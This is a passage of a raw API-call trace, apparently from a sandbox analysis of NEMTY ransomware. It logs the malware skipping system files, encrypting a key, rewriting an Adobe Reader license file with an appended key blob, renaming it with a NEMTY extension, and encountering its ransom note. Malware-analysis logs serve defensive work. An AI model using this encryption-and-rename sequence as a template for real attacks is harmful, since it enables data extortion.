ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x470, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0173.080] lstrcmpiW (lpString1="eula.ini", lpString2=".") returned 1 [0173.080] lstrcmpiW (lpString1="eula.ini", lpString2="..") returned 1 [0173.080] lstrcmpiW (lpString1="eula.ini", lpString2="...") returned 1 [0173.080] lstrcmpiW (lpString1="eula.ini", lpString2="windows") returned -1 [0173.080] lstrcmpiW (lpString1="eula.ini", lpString2="$RECYCLE.BIN") returned 1 [0173.080] lstrcmpiW (lpString1="eula.ini", lpString2="rsa") returned -1 [0173.080] lstrcmpiW (lpString1="eula.ini", lpString2="NTDETECT.COM") returned -1 [0173.080] lstrcmpiW (lpString1="eula.ini", lpString2="ntldr") returned -1 [0173.080] lstrcmpiW (lpString1="eula.ini", lpString2="MSDOS.SYS") returned -1 [0173.080] lstrcmpiW (lpString1="eula.ini", lpString2="IO.SYS") returned -1 [0173.080] lstrcmpiW (lpString1="eula.ini", lpString2="boot.ini") returned 1 [0173.080] lstrcmpiW (lpString1="eula.ini", lpString2="boot.ini") returned 1 [0173.080] lstrcmpiW (lpString1="eula.ini", lpString2="AUTOEXEC.BAT") returned 1 [0173.080] lstrcmpiW (lpString1="eula.ini", lpString2="ntuser.dat") returned -1 [0173.080] lstrcmpiW (lpString1="eula.ini", lpString2="desktop.ini") returned 1 [0173.080] lstrcmpiW (lpString1="eula.ini", lpString2="CONFIG.SYS") returned 1 [0173.080] lstrcmpiW (lpString1="eula.ini", lpString2="RECYCLER") returned -1 [0173.080] lstrcmpiW (lpString1="eula.ini", lpString2="BOOTSECT.BAK") returned 1 [0173.080] lstrcmpiW (lpString1="eula.ini", lpString2="bootmgr") returned 1 [0173.080] lstrcmpiW (lpString1="eula.ini", lpString2="programdata") returned -1 [0173.080] lstrcmpiW (lpString1="eula.ini", lpString2="appdata") returned 1 [0173.081] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.081] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0173.081] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eula.ini", lpUsedDefaultChar=0x0) returned 8 [0173.081] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0173.081] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0173.081] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eula.ini", lpUsedDefaultChar=0x0) returned 8 [0173.081] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0173.081] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.081] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.081] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0173.081] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x653e8e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eula.ini", lpUsedDefaultChar=0x0) returned 8 [0173.081] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.081] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.081] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0173.081] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x653e918, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eula.ini", lpUsedDefaultChar=0x0) returned 8 [0173.081] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.081] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0173.081] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0173.081] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d81e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xd746, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="license.html", cAlternateFileName="LICENS~1.HTM")) returned 1 [0173.081] lstrcmpiW (lpString1="license.html", lpString2=".") returned 1 [0173.081] lstrcmpiW (lpString1="license.html", lpString2="..") returned 1 [0173.081] lstrcmpiW (lpString1="license.html", lpString2="...") returned 1 [0173.081] lstrcmpiW (lpString1="license.html", lpString2="windows") returned -1 [0173.081] lstrcmpiW (lpString1="license.html", lpString2="$RECYCLE.BIN") returned 1 [0173.081] lstrcmpiW (lpString1="license.html", lpString2="rsa") returned -1 [0173.081] lstrcmpiW (lpString1="license.html", lpString2="NTDETECT.COM") returned -1 [0173.081] lstrcmpiW (lpString1="license.html", lpString2="ntldr") returned -1 [0173.081] lstrcmpiW (lpString1="license.html", lpString2="MSDOS.SYS") returned -1 [0173.081] lstrcmpiW (lpString1="license.html", lpString2="IO.SYS") returned 1 [0173.081] lstrcmpiW (lpString1="license.html", lpString2="boot.ini") returned 1 [0173.081] lstrcmpiW (lpString1="license.html", lpString2="boot.ini") returned 1 [0173.081] lstrcmpiW (lpString1="license.html", lpString2="AUTOEXEC.BAT") returned 1 [0173.081] lstrcmpiW (lpString1="license.html", lpString2="ntuser.dat") returned -1 [0173.082] lstrcmpiW (lpString1="license.html", lpString2="desktop.ini") returned 1 [0173.082] lstrcmpiW (lpString1="license.html", lpString2="CONFIG.SYS") returned 1 [0173.082] lstrcmpiW (lpString1="license.html", lpString2="RECYCLER") returned -1 [0173.082] lstrcmpiW (lpString1="license.html", lpString2="BOOTSECT.BAK") returned 1 [0173.082] lstrcmpiW (lpString1="license.html", lpString2="bootmgr") returned 1 [0173.082] lstrcmpiW (lpString1="license.html", lpString2="programdata") returned -1 [0173.082] lstrcmpiW (lpString1="license.html", lpString2="appdata") returned 1 [0173.082] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.082] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0173.082] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="license.html", lpUsedDefaultChar=0x0) returned 12 [0173.082] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0173.082] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0173.082] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="license.html", lpUsedDefaultChar=0x0) returned 12 [0173.082] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0173.082] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.082] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.082] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0173.082] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="license.html", lpUsedDefaultChar=0x0) returned 12 [0173.082] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.082] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.082] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0173.082] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="license.html", lpUsedDefaultChar=0x0) returned 12 [0173.082] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.082] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0173.082] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0173.082] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0173.082] Sleep (dwMilliseconds=0x5) [0173.095] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1ad1ddb0, dwHighDateTime=0x1d561e8)) [0173.095] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1ad1ddb0, dwHighDateTime=0x1d561e8)) [0173.095] GetLastError () returned 0xb7 [0173.095] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0173.095] GetLastError () returned 0xb7 [0173.095] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.096] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0173.096] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0173.096] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0173.096] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0173.096] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0173.096] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0173.096] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="JhxpmMEjrKmgRyOmcGkoh2MApvRPB9jL4GpTG1hbz8Q4JJG9l+3aR8QR0e2b9Pqs\r\nbwFXRTjxurNcCDB3gcge86JCc+EREAW9W0X2nQFRjeyhtqaUdMQw5+ZM9PANrz2H\r\nqJYV29zrTNM4okvbY3W4u7cRel6eBwxXUfKou6GY48qT6O0CEuj+cuW0HtOo0W2x\r\nK25u9L+m2RExJkpCn6St/v4zSuVIZHhV7HA2OO/lcWCnWpbgUWTLLFv8tdHndW5K\r\nsRKAGBvwhX9M/wGnqTJnIX1h6sEd7c7abK1aX2ctiQTxFFBkf2D50smcGY5E8xp4\r\njyqsH8YRgPqHp729JRqqkA==\r\n", pcchString=0x653e5dc) returned 1 [0173.096] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0173.096] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0173.096] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0173.096] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0173.096] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0173.096] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0173.096] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\ptb\\license.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3b0 [0173.096] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=55110) returned 1 [0173.096] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd740) returned 0x6352c48 [0173.096] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0173.096] ReadFile (in: hFile=0x3b0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0xd740, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0xd740, lpOverlapped=0x0) returned 1 [0173.101] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0173.101] WriteFile (in: hFile=0x3b0, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0xd740, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0xd740, lpOverlapped=0x0) returned 1 [0173.102] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0173.102] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=55110, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xd746 [0173.102] WriteFile (in: hFile=0x3b0, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0173.102] CloseHandle (hObject=0x3b0) returned 1 [0173.102] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0173.102] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0173.102] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0173.102] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0173.102] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0173.102] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0173.102] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0173.102] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0173.102] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0173.102] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0173.102] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\ptb\\license.html"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\license.html._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\ptb\\license.html._nemty_kgobjgd_")) returned 1 [0173.103] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0173.103] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0173.103] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0173.103] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0173.103] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0173.103] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0173.103] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.103] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0173.103] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1acd1af0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x1acd1af0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1acd1af0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0173.103] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0173.103] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0173.103] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0173.103] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0173.103] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0173.103] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0173.103] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0173.103] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0173.103] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0173.103] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0173.103] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0173.103] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0173.103] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0173.103] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0173.103] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0173.103] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0173.103] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0173.103] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0173.103] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0173.103] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0173.103] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0173.103] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0173.104] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0173.104] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.104] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0173.104] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.104] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0173.104] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0173.104] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.104] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0173.104] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.104] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0173.104] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0173.104] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0173.104] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0173.104] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.104] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0173.104] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0173.104] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0173.104] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0173.104] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0173.104] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0173.104] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0173.104] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0173.104] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0173.104] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0173.104] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.104] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1acd1af0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x1acd1af0, 